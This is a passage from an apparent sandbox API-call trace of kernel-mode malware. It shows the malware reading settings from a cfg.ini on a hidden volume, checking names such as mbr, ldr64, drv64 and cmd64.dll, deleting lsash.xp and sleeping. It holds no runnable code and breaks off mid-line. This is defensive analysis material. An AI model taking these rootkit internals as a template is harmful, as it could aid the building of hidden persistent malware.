(hMutex=0xf0) returned 1 [0121.749] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.749] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.749] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.749] KeEnterCriticalRegion () [0121.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.749] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.749] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.749] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.749] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.749] IdePortDispatch () returned 0x103 [0121.751] KeWaitForMutexObject () returned 0x0 [0121.751] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.751] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.751] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.751] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.751] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.751] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6960 [0121.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.751] KeLeaveCriticalRegion () [0121.751] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.751] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.751] KeEnterCriticalRegion () [0121.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.751] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.751] KeLeaveCriticalRegion () [0121.751] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.751] KeEnterCriticalRegion () [0121.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.751] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.751] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.751] IdePortDispatch () returned 0x103 [0121.751] KeWaitForMutexObject () returned 0x0 [0121.751] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.751] KeLeaveCriticalRegion () [0121.751] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.751] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.751] KeEnterCriticalRegion () [0121.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.752] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc7000 [0121.752] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.752] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.752] IdePortDispatch () returned 0x103 [0121.752] KeWaitForMutexObject () returned 0x0 [0121.752] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.752] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.752] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.752] IdePortDispatch () returned 0x103 [0121.752] KeWaitForMutexObject () returned 0x0 [0121.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.752] KeLeaveCriticalRegion () [0121.752] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.753] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.753] KeEnterCriticalRegion () [0121.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.753] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.753] KeLeaveCriticalRegion () [0121.753] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.753] KeEnterCriticalRegion () [0121.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.753] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.753] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.753] KeLeaveCriticalRegion () [0121.753] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.753] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.753] KeEnterCriticalRegion () [0121.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.753] ExFreePoolWithTag (P=0xfffffa8003bc6960, Tag=0x0) [0121.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.753] KeLeaveCriticalRegion () [0121.753] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.753] ReleaseMutex (hMutex=0xf0) returned 1 [0121.753] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.753] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.753] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.753] KeEnterCriticalRegion () [0121.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.753] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.753] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.753] IdePortDispatch () returned 0x103 [0121.753] KeWaitForMutexObject () returned 0x0 [0121.754] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.754] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.754] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.754] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.754] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.754] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6080 [0121.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.754] KeLeaveCriticalRegion () [0121.754] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.754] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.754] KeEnterCriticalRegion () [0121.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.754] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.754] KeLeaveCriticalRegion () [0121.754] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.754] KeEnterCriticalRegion () [0121.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.754] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.754] IdePortDispatch () returned 0x103 [0121.754] KeWaitForMutexObject () returned 0x0 [0121.754] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.754] KeLeaveCriticalRegion () [0121.754] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.754] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.754] KeEnterCriticalRegion () [0121.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.755] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc8000 [0121.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.755] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.755] IdePortDispatch () returned 0x103 [0121.755] KeWaitForMutexObject () returned 0x0 [0121.755] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.755] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.755] IdePortDispatch () returned 0x103 [0121.755] KeWaitForMutexObject () returned 0x0 [0121.755] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.755] KeLeaveCriticalRegion () [0121.755] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.756] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.756] KeEnterCriticalRegion () [0121.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.756] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.756] KeLeaveCriticalRegion () [0121.756] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.756] KeEnterCriticalRegion () [0121.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.756] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.756] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6b30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.756] KeLeaveCriticalRegion () [0121.756] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.756] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.756] KeEnterCriticalRegion () [0121.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.756] ExFreePoolWithTag (P=0xfffffa8003bd6080, Tag=0x0) [0121.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.756] KeLeaveCriticalRegion () [0121.756] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.756] ReleaseMutex (hMutex=0xf0) returned 1 [0121.756] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.756] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.756] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.756] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.756] KeEnterCriticalRegion () [0121.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.756] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.756] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.756] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.756] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.756] IdePortDispatch () returned 0x103 [0121.756] KeWaitForMutexObject () returned 0x0 [0121.757] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.757] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.757] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.757] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.757] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.757] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.757] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.757] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.757] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.757] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.757] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.757] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.757] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.757] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.757] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.757] KeLeaveCriticalRegion () [0121.757] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.757] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.757] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.757] KeEnterCriticalRegion () [0121.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.757] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.757] IdePortDispatch () returned 0x103 [0121.757] KeWaitForMutexObject () returned 0x0 [0121.757] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.757] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.757] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.757] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.757] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.757] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.757] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.757] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.757] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.758] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.758] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.758] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.758] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.758] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.758] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.758] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.758] KeLeaveCriticalRegion () [0121.758] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.758] ReleaseMutex (hMutex=0x100) returned 1 [0121.758] Sleep (dwMilliseconds=0x2bf20) [0121.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bc4e3b0, dwHighDateTime=0x1d24fa4)) [0121.764] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.764] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.764] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.764] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.764] KeEnterCriticalRegion () [0121.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.764] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.764] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.764] IdePortDispatch () returned 0x103 [0121.764] KeWaitForMutexObject () returned 0x0 [0121.764] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.764] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.765] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.765] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.765] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.765] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6010 [0121.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.765] KeLeaveCriticalRegion () [0121.765] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.765] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.765] KeEnterCriticalRegion () [0121.765] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.765] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.765] KeLeaveCriticalRegion () [0121.765] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.765] KeEnterCriticalRegion () [0121.765] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.765] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.765] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.765] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.765] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.765] IdePortDispatch () returned 0x103 [0121.765] KeWaitForMutexObject () returned 0x0 [0121.765] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.765] KeLeaveCriticalRegion () [0121.765] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.765] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.765] KeEnterCriticalRegion () [0121.765] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.766] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bcb000 [0121.766] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.766] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.766] 